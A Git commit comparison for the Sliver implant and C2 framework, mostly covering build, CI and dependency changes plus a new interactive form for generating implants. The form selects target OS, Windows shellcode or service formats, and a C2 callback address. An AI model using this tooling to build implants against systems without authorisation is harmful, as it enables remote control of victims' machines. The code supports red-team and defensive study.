Compare commits

...
25 Commits
Author SHA1 Message Date
moloch-- 868b2c294c Merge branch 'master' into fix/dnsc2 2025-12-30 23:04:32 -06:00
moloch-- 9827b4df4b Add forms pkg 2025-12-30 23:04:03 -06:00
moloch-- a48309a813 Add forms pkg 2025-12-30 23:03:55 -06:00
moloch-- 5df5dec5d4 Add forms pkg 2025-12-30 23:03:46 -06:00
Joe 3ff3ef2ed4 Merge pull request #2076 from BishopFox/fix/dnsc2
Add cleanup to unit tests to avoid excessive disk usage
2025-12-30 21:59:21 -07:00
moloch-- 73cc8c38ff Add cleanup to unit tests to avoid excessive disk usage 2025-12-30 17:47:49 -06:00
Joe ec7e2facbc Merge pull request #2075 from BishopFox/fix/dnsc2
Improvements to DNS C2, Port go-assest.sh to Golang
2025-12-30 15:37:37 -07:00
Joe 4969c2dc51 Merge branch 'master' into fix/dnsc2 2025-12-30 15:36:27 -07:00
moloch-- 94cb60b1f7 Updates to tests and implementation of dns c2 2025-12-30 16:35:37 -06:00
moloch-- 33fcfd54ef Update makefile to make goos/goarch override easier 2025-12-30 13:04:52 -06:00
moloch-- 10bb248e50 Code cleanup 2025-12-30 12:18:05 -06:00
moloch-- e023fd507e Port go-assets.sh to golang with go run 2025-12-30 11:55:56 -06:00
moloch-- 1a9f0f38dd Port go-assets.sh to golang with go run 2025-12-30 10:56:02 -06:00
moloch-- 02831a80bf Cleanup outputs of go-assets.sh 2025-12-30 10:26:24 -06:00
moloch-- 9ccff1798e Expand and update dns c2 unit tests 2025-12-30 09:46:49 -06:00
Joe cd5ef8b5c6 Merge pull request #2063 from BishopFox/3e11dependabot/npm_and_yarn/docs/sliver-docs/next-15.5.9
Bump next from 15.5.7 to 15.5.9 in /docs/sliver-docs
2025-12-30 08:12:38 -07:00
moloch-- dda1fdbbc2 Update dns unit tests 2025-12-30 08:52:26 -06:00
Joe 3b49df5662 Merge pull request #2067 from BishopFox/350cdependabot/github_actions/actions/upload-artifact-6
Bump actions/upload-artifact from 5 to 6
2025-12-29 21:44:47 -07:00
Joe 32be71ff8e Merge pull request #2069 from BishopFox/0d1adependabot/github_actions/actions/download-artifact-7
Bump actions/download-artifact from 6 to 7
2025-12-29 21:44:33 -07:00
Joe 3f77da1524 Merge pull request #2068 from BishopFox/f7cedependabot/github_actions/actions/cache-5
Bump actions/cache from 4 to 5
2025-12-29 21:44:19 -07:00
Joe bae3e9e45d Merge pull request #2074 from BishopFox/polite-zig
Update zig download to be more polite and secure issue #2065
2025-12-29 14:52:04 -07:00
dependabot[bot] fae7e211a7 Bump actions/download-artifact from 6 to 7
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 6 to 7.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-15 03:02:52 +00:00
dependabot[bot] 346da14431 Bump actions/cache from 4 to 5
Bumps [actions/cache](https://github.com/actions/cache) from 4 to 5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-15 03:02:47 +00:00
dependabot[bot] 15174f6c31 Bump actions/upload-artifact from 5 to 6
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-15 03:02:44 +00:00
dependabot[bot] f29df040bb Bump next from 15.5.7 to 15.5.9 in /docs/sliver-docs
Bumps [next](https://github.com/vercel/next.js) from 15.5.7 to 15.5.9.
- [Release notes](https://github.com/vercel/next.js/releases)
- [Changelog](https://github.com/vercel/next.js/blob/canary/release.js)
- [Commits](https://github.com/vercel/next.js/compare/v15.5.7...v15.5.9)

---
updated-dependencies:
- dependency-name: next
  dependency-version: 15.5.9
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-12-12 01:53:24 +00:00
322 changed files with 51313 additions and 790 deletions

No files matched your search

+3 -3
View File
@@ -31,7 +31,7 @@ jobs:
run: make servers
- name: Server Artifacts
uses: actions/upload-artifact@v5
uses: actions/upload-artifact@v6
with:
name: servers
path: ./sliver-server_*
@@ -57,7 +57,7 @@ jobs:
run: make clients
- name: Client Artifacts
uses: actions/upload-artifact@v5
uses: actions/upload-artifact@v6
with:
name: clients
path: ./sliver-client_*
@@ -72,7 +72,7 @@ jobs:
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v6
- uses: actions/download-artifact@v7
with:
path: ./builds
+1 -1
View File
@@ -66,7 +66,7 @@ jobs:
uses: actions/configure-pages@v5
- name: Restore cache
uses: actions/cache@v4
uses: actions/cache@v5
with:
path: |
.next/cache
+1 -1
View File
@@ -26,7 +26,7 @@
## Testing Guidelines
- Go tests follow standard `_test.go` naming within each package.
- Prefer `./go-tests.sh` (uses tags like `client`, `server`, `osusergo`, `netgo`, `go_sqlite`) to match CI expectations.
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
## Commit & Pull Request Guidelines
+5 -1
View File
@@ -5,6 +5,7 @@
#
# For unit testing:
# docker build --target test .
# docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .
#
# STAGE: base
@@ -31,6 +32,9 @@ RUN cp -vv sliver-server /opt/sliver-server
## Use `--target test` in the docker build command to run this stage
FROM base AS test
ARG GO_TESTS_FLAGS=""
ENV GO_TESTS_FLAGS="${GO_TESTS_FLAGS}"
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
@@ -39,7 +43,7 @@ RUN apt-get update --fix-missing \
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh ${GO_TESTS_FLAGS}
# STAGE: production
## Final dockerized form of Sliver
+9 -6
View File
@@ -16,7 +16,7 @@ endif
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
EXECUTABLES = uname sed git date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
@@ -83,7 +83,9 @@ endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
ifeq ($(origin GOARCH), undefined)
ENV += GOARCH=arm64
endif
endif
endif
@@ -105,9 +107,10 @@ endif
# Targets
#
.PHONY: default
default: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
default: clean validate-go-version
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
@@ -199,5 +202,5 @@ clean:
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
.downloaded_assets:
./go-assets.sh
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
touch ./.downloaded_assets
-135
View File
@@ -1,135 +0,0 @@
#!/usr/bin/env python3
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import os
import sys
import argparse
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
"""Executes a command with some sugar"""
print("\n" + INFO + " %s\n" % cmd)
status = os.system(cmd)
if status != 0 and not ignore_status:
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
if input("continue? [Y/n]: ").upper() != "Y":
sys.exit(status)
return status
def docker_rm_volumes():
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
def docker_rm_containers():
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
def docker_rm_images():
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
def docker_prune():
exec_cmd("docker image prune -f", ignore_status=True)
def docker_rm_all():
docker_rm_containers()
docker_rm_images()
docker_rm_volumes()
def build():
status = exec_cmd("docker build --target test .")
if status == 0:
print("\n\n" + INFO + "Build successful")
def main(args):
"""Execute the respective task(s) based on cli args"""
if args.rm_images:
docker_rm_images()
if args.rm_containers:
docker_rm_containers()
if args.rm_volumes:
docker_rm_volumes()
if args.rm_all:
docker_rm_all()
if not args.no_prune:
docker_prune()
if not args.no_build:
build()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="automates interactions with docker")
parser.add_argument(
"--no-build",
"-b",
help="do not run build",
dest="no_build",
action="store_true",
)
parser.add_argument(
"--no-prune",
"-np",
help="do not prune images",
dest="no_prune",
action="store_true",
)
parser.add_argument(
"--rm-all",
"-rma",
help="rm all containers, images, and volumes",
dest="rm_all",
action="store_true",
)
parser.add_argument(
"--rm-containers",
"-rmc",
help="rm all containers",
dest="rm_containers",
action="store_true",
)
parser.add_argument(
"--rm-images",
"-rmi",
help="rm all images",
dest="rm_images",
action="store_true",
)
parser.add_argument(
"--rm-volumes",
"-rmv",
help="rm dangling volumes only",
dest="rm_volumes",
action="store_true",
)
try:
main(parser.parse_args())
except KeyboardInterrupt:
print("\n\n" + WARN + "User stopped process")
+69 -1
View File
@@ -35,6 +35,7 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -89,6 +90,21 @@ var (
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunGenerateForm(cmd, con, args) {
result, err := forms.GenerateForm()
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Generate form failed: %s\n", err)
return
}
if err := applyGenerateForm(cmd, result); err != nil {
con.PrintErrorf("Failed to apply generate form values: %s\n", err)
return
}
}
name, config := parseCompileFlags(cmd, con)
if config == nil {
return
@@ -117,6 +133,58 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
}
func shouldRunGenerateForm(cmd *cobra.Command, con *console.SliverClient, args []string) bool {
if con == nil || con.IsCLI {
return false
}
if len(args) != 0 {
return false
}
return cmd.Flags().NFlag() == 0
}
func applyGenerateForm(cmd *cobra.Command, result *forms.GenerateFormResult) error {
if err := cmd.Flags().Set("os", result.OS); err != nil {
return err
}
if err := cmd.Flags().Set("arch", result.Arch); err != nil {
return err
}
if err := cmd.Flags().Set("format", result.Format); err != nil {
return err
}
name := strings.TrimSpace(result.Name)
if name != "" {
if err := cmd.Flags().Set("name", name); err != nil {
return err
}
}
save := strings.TrimSpace(result.Save)
if save != "" {
if err := cmd.Flags().Set("save", save); err != nil {
return err
}
}
c2Value := strings.TrimSpace(result.C2Value)
switch result.C2Type {
case "mtls":
return cmd.Flags().Set("mtls", c2Value)
case "wg":
return cmd.Flags().Set("wg", c2Value)
case "http":
return cmd.Flags().Set("http", c2Value)
case "dns":
return cmd.Flags().Set("dns", c2Value)
case "named-pipe":
return cmd.Flags().Set("named-pipe", c2Value)
case "tcp-pivot":
return cmd.Flags().Set("tcp-pivot", c2Value)
default:
return errors.New("unsupported C2 transport selection")
}
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
@@ -576,7 +644,7 @@ func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
if testValue != "wininet" {
return false, fmt.Errorf("C2 option \"driver\" must be empty for the default driver or \"wininet\" for the wininet driver (Windows only)")
}
case "force-http", "disable-accept-header", "disable-upgrade-header", "ask-proxy-creds", "force-base32":
case "force-http", "disable-accept-header", "disable-upgrade-header", "ask-proxy-creds":
if testValue != "true" && testValue != "false" {
return false, fmt.Errorf("C2 option \"%s\" must be a boolean value: true or false", key)
}
+133
View File
@@ -0,0 +1,133 @@
package forms
import (
"errors"
"strings"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
// ErrUserAborted exposes the huh user-abort sentinel for callers.
var ErrUserAborted = huh.ErrUserAborted
// GenerateFormResult captures the inputs needed to drive the generate command.
type GenerateFormResult struct {
OS string
Arch string
Format string
Name string
C2Type string
C2Value string
Save string
}
// GenerateForm prompts for core generate flags and returns the collected values.
func GenerateForm() (*GenerateFormResult, error) {
result := &GenerateFormResult{
OS: "windows",
Arch: "amd64",
Format: "exe",
C2Type: "mtls",
}
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title("Target operating system").
Options(
huh.NewOption("Windows", "windows"),
huh.NewOption("Linux", "linux"),
huh.NewOption("macOS", "darwin"),
).
Value(&result.OS),
huh.NewSelect[string]().
Title("CPU architecture").
OptionsFunc(func() []huh.Option[string] {
switch result.OS {
case "darwin":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
}
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
default:
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
}
}, &result.OS).
Value(&result.Arch),
huh.NewSelect[string]().
Title("Output format").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
}
return options
}, &result.OS).
Value(&result.Format),
),
huh.NewGroup(
huh.NewInput().
Title("Implant name (optional)").
Value(&result.Name).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return nil
}
return util.AllowedName(strings.ToLower(value))
}),
huh.NewSelect[string]().
Title("C2 transport").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("mTLS", "mtls"),
huh.NewOption("WireGuard", "wg"),
huh.NewOption("HTTP(S)", "http"),
huh.NewOption("DNS", "dns"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Named pipe", "named-pipe"),
huh.NewOption("TCP pivot", "tcp-pivot"),
)
}
return options
}, &result.OS).
Value(&result.C2Type),
huh.NewInput().
Title("C2 connection string(s)").
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
Value(&result.C2Value).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return errors.New("connection string required")
}
return nil
}),
huh.NewInput().
Title("Save path (optional)").
Description("File or directory; defaults to the current directory").
Value(&result.Save),
),
)
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
+68 -10
View File
@@ -22,7 +22,7 @@
"framer-motion": "^12.23.22",
"fuse.js": "^7.1.0",
"lunr": "^2.3.9",
"next": "^15.5.7",
"next": "^15.5.9",
"next-themes": "^0.4.6",
"react": "^19.2.0",
"react-dom": "^19.2.0",
@@ -71,6 +71,7 @@
"version": "1.7.1",
"resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.7.1.tgz",
"integrity": "sha512-o1uhUASyo921r2XtHYOHy7gdkGLge8ghBEQHMWmyJFoXlpU58kIrhhN3w26lpQb6dspetweapMn2CSNwQ8I4wg==",
"dev": true,
"license": "MIT",
"optional": true,
"dependencies": {
@@ -92,6 +93,7 @@
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.1.0.tgz",
"integrity": "sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==",
"dev": true,
"license": "MIT",
"optional": true,
"dependencies": {
@@ -2499,6 +2501,7 @@
"version": "0.2.12",
"resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.12.tgz",
"integrity": "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ==",
"dev": true,
"license": "MIT",
"optional": true,
"dependencies": {
@@ -2508,9 +2511,9 @@
}
},
"node_modules/@next/env": {
"version": "15.5.7",
"resolved": "https://registry.npmjs.org/@next/env/-/env-15.5.7.tgz",
"integrity": "sha512-4h6Y2NyEkIEN7Z8YxkA27pq6zTkS09bUSYC0xjd0NpwFxjnIKeZEeH591o5WECSmjpUhLn3H2QLJcDye3Uzcvg==",
"version": "15.5.9",
"resolved": "https://registry.npmjs.org/@next/env/-/env-15.5.9.tgz",
"integrity": "sha512-4GlTZ+EJM7WaW2HEZcyU317tIQDjkQIyENDLxYJfSWlfqguN+dHkZgyQTV/7ykvobU7yEH5gKvreNrH4B6QgIg==",
"license": "MIT"
},
"node_modules/@next/eslint-plugin-next": {
@@ -4330,6 +4333,60 @@
"node": ">=14.0.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": {
"version": "1.6.0",
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"@emnapi/wasi-threads": "1.1.0",
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": {
"version": "1.6.0",
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": {
"version": "1.1.0",
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": {
"version": "1.0.7",
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"@emnapi/core": "^1.5.0",
"@emnapi/runtime": "^1.5.0",
"@tybys/wasm-util": "^0.10.1"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": {
"version": "0.10.1",
"inBundle": true,
"license": "MIT",
"optional": true,
"dependencies": {
"tslib": "^2.4.0"
}
},
"node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": {
"version": "2.8.1",
"inBundle": true,
"license": "0BSD",
"optional": true
},
"node_modules/@tailwindcss/oxide-win32-arm64-msvc": {
"version": "4.1.17",
"resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.17.tgz",
@@ -4445,6 +4502,7 @@
"version": "0.10.1",
"resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.1.tgz",
"integrity": "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==",
"dev": true,
"license": "MIT",
"optional": true,
"dependencies": {
@@ -6481,6 +6539,7 @@
"integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==",
"dev": true,
"license": "MIT",
"peer": true,
"dependencies": {
"@rtsao/scc": "^1.1.0",
"array-includes": "^3.1.9",
@@ -9430,12 +9489,12 @@
"license": "MIT"
},
"node_modules/next": {
"version": "15.5.7",
"resolved": "https://registry.npmjs.org/next/-/next-15.5.7.tgz",
"integrity": "sha512-+t2/0jIJ48kUpGKkdlhgkv+zPTEOoXyr60qXe68eB/pl3CMJaLeIGjzp5D6Oqt25hCBiBTt8wEeeAzfJvUKnPQ==",
"version": "15.5.9",
"resolved": "https://registry.npmjs.org/next/-/next-15.5.9.tgz",
"integrity": "sha512-agNLK89seZEtC5zUHwtut0+tNrc0Xw4FT/Dg+B/VLEo9pAcS9rtTKpek3V6kVcVwsB2YlqMaHdfZL4eLEVYuCg==",
"license": "MIT",
"dependencies": {
"@next/env": "15.5.7",
"@next/env": "15.5.9",
"@swc/helpers": "0.5.15",
"caniuse-lite": "^1.0.30001579",
"postcss": "8.4.31",
@@ -11049,8 +11108,7 @@
"version": "4.1.17",
"resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.17.tgz",
"integrity": "sha512-j9Ee2YjuQqYT9bbRTfTZht9W/ytp5H+jJpZKiYdP/bpnXARAuELt9ofP0lPnmHjbga7SNQIxdTAXCmtKVYjN+Q==",
"license": "MIT",
"peer": true
"license": "MIT"
},
"node_modules/tapable": {
"version": "2.3.0",
+1 -1
View File
@@ -26,7 +26,7 @@
"framer-motion": "^12.23.22",
"fuse.js": "^7.1.0",
"lunr": "^2.3.9",
"next": "^15.5.7",
"next": "^15.5.9",
"next-themes": "^0.4.6",
"react": "^19.2.0",
"react-dom": "^19.2.0",
@@ -29,6 +29,5 @@ generate --http http://example.com?driver=wininet
- `retry-count` - Upon query failure, retry this many times before failing.
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
- `force-base32` - Always use Base 32 encoding.
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`
-332
View File
@@ -1,332 +0,0 @@
#!/bin/bash
# Sliver Implant Framework
# Copyright (C) 2019 Bishop Fox
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -e
# Creates the static go asset archives
GO_VER="1.25.5"
GARBLE_VER="1.25.5"
ZIG_VER="0.15.1"
ZIG_SOURCE_PARAM="source=sliver"
# Zig significantly throttles downloads from the main site, so we use
# community mirrors. We fetch the list of mirrors at runtime, but
# fall back to a set of default mirrors if the fetch fails.
# We also use the official public key for verifying Zig downloads from mirrors.
ZIG_MINISIGN_PUBKEY="RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
DEFAULT_ZIG_MIRRORS=(
"https://pkg.machengine.org/zig"
"https://zigmirror.hryx.net/zig"
"https://zig.linus.dev/zig"
"https://zig.squirl.dev"
"https://zig.florent.dev"
"https://zig.mirror.mschae23.de/zig"
"https://zigmirror.meox.dev"
)
ZIG_MIRRORS=()
MINISIGN_HELPER=""
MINISIGN_HELPER_DIR=""
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
echo 'Error: curl is not installed.' >&2
exit 1
fi
if ! [ -x "$(command -v zip)" ]; then
echo 'Error: zip is not installed.' >&2
exit 1
fi
if ! [ -x "$(command -v unzip)" ]; then
echo 'Error: unzip is not installed.' >&2
exit 1
fi
if ! [ -x "$(command -v tar)" ]; then
echo 'Error: tar is not installed.' >&2
exit 1
fi
if ! [ -x "$(command -v go)" ]; then
echo 'Error: go is not installed.' >&2
exit 1
fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
mkdir -p $OUTPUT_DIR
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
echo "$WORK_DIR (Output: $OUTPUT_DIR)"
echo "-----------------------------------------------------------------"
cd $WORK_DIR
# Load official Zig mirror list with a fallback to bundled defaults.
load_zig_mirrors() {
local mirrors_text
local -a mirrors=()
if mirrors_text=$(curl -sS -L --fail https://ziglang.org/download/community-mirrors.txt 2>/dev/null); then
while IFS= read -r line; do
line="${line%%#*}"
line="$(printf '%s' "$line" | sed -e 's/[[:space:]]*$//' -e 's/^[[:space:]]*//')"
if [[ -n "$line" ]]; then
mirrors+=("$line")
fi
done <<< "$mirrors_text"
fi
if [ "${#mirrors[@]}" -eq 0 ]; then
mirrors=("${DEFAULT_ZIG_MIRRORS[@]}")
fi
ZIG_MIRRORS=("${mirrors[@]}")
}
# Shuffle mirror list for each download attempt to spread load.
randomized_mirrors() {
if [ "${#ZIG_MIRRORS[@]}" -eq 0 ]; then
load_zig_mirrors
fi
local -a shuffled=("${ZIG_MIRRORS[@]}")
local i j temp
for ((i=${#shuffled[@]}-1; i>0; i--)); do
j=$((RANDOM % (i + 1)))
temp=${shuffled[i]}
shuffled[i]=${shuffled[j]}
shuffled[j]=$temp
done
printf '%s\n' "${shuffled[@]}"
}
append_query_param() {
local url="$1"
local param="$2"
if [[ "$url" == *\?* ]]; then
printf '%s&%s' "$url" "$param"
else
printf '%s?%s' "$url" "$param"
fi
}
# Build a temporary helper that verifies signatures via util/minisign.
ensure_minisign_helper() {
if [ -n "$MINISIGN_HELPER" ] && [ -x "$MINISIGN_HELPER" ]; then
return
fi
local helper_dir
helper_dir=$(mktemp -d "$REPO_DIR/.zig-verify.XXXXXX")
if ! (cd "$REPO_DIR" && GO111MODULE=on GOFLAGS=-mod=vendor go build -o "$helper_dir/zig-verify" ./util/cmd/zigverify); then
echo 'Error: unable to build minisign verification helper.' >&2
exit 1
fi
MINISIGN_HELPER="$helper_dir/zig-verify"
MINISIGN_HELPER_DIR="$helper_dir"
trap 'rm -rf "$MINISIGN_HELPER_DIR"' EXIT
}
verify_minisig() {
ensure_minisign_helper
ZIG_PUBLIC_KEY="$ZIG_MINISIGN_PUBKEY" "$MINISIGN_HELPER" "$1" "$2" "$3"
}
download_zig() {
local platform="$1"
local arch="$2"
local remote_name="$3"
local local_name="$4"
local dest_dir="$OUTPUT_DIR/$platform/$arch"
local dest_path="$dest_dir/$local_name"
local success=0
mkdir -p "$dest_dir"
rm -f "$dest_path"
echo "Zig $platform/$arch: $remote_name"
while read -r mirror; do
local mirror_base="${mirror%/}/$ZIG_VER"
local artifact_url="${mirror_base}/$remote_name"
local signature_url="${mirror_base}/${remote_name}.minisig"
artifact_url="$(append_query_param "$artifact_url" "$ZIG_SOURCE_PARAM")"
signature_url="$(append_query_param "$signature_url" "$ZIG_SOURCE_PARAM")"
echo "Attempting Zig mirror $mirror_base"
echo " artifact: $artifact_url"
echo " signature: $signature_url"
local tmp_tar
local tmp_sig
tmp_tar=$(mktemp)
tmp_sig=$(mktemp)
local verification_failed=0
if curl -L --fail --output "$tmp_tar" "$artifact_url"; then
if curl -L --fail --output "$tmp_sig" "$signature_url"; then
if verify_minisig "$tmp_tar" "$tmp_sig" "$remote_name"; then
mv "$tmp_tar" "$dest_path"
rm -f "$tmp_sig"
echo "Downloaded and verified Zig package -> $dest_path"
success=1
break
else
echo "[!] Signature verification failed for $remote_name from $mirror_base" >&2
verification_failed=1
fi
else
echo "[!] Failed to download Zig signature from $signature_url" >&2
fi
else
echo "[!] Failed to download Zig artifact from $artifact_url" >&2
fi
if [ "$verification_failed" -eq 1 ]; then
echo "[!] Deleting corrupted download $tmp_tar" >&2
fi
rm -f "$tmp_tar" "$tmp_sig"
echo "[!] Failed to download or verify Zig from $mirror_base" >&2
done < <(randomized_mirrors)
if [ "$success" -ne 1 ]; then
echo "[!] Error: unable to download and verify Zig package $remote_name" >&2
exit 1
fi
}
# --- Darwin (amd64) ---
curl --output go$GO_VER.darwin-amd64.tar.gz https://dl.google.com/go/go$GO_VER.darwin-amd64.tar.gz
tar xvf go$GO_VER.darwin-amd64.tar.gz
cd go
rm -rf $BLOAT_FILES
zip -r ../src.zip ./src # Zip up /src we only need to do this once
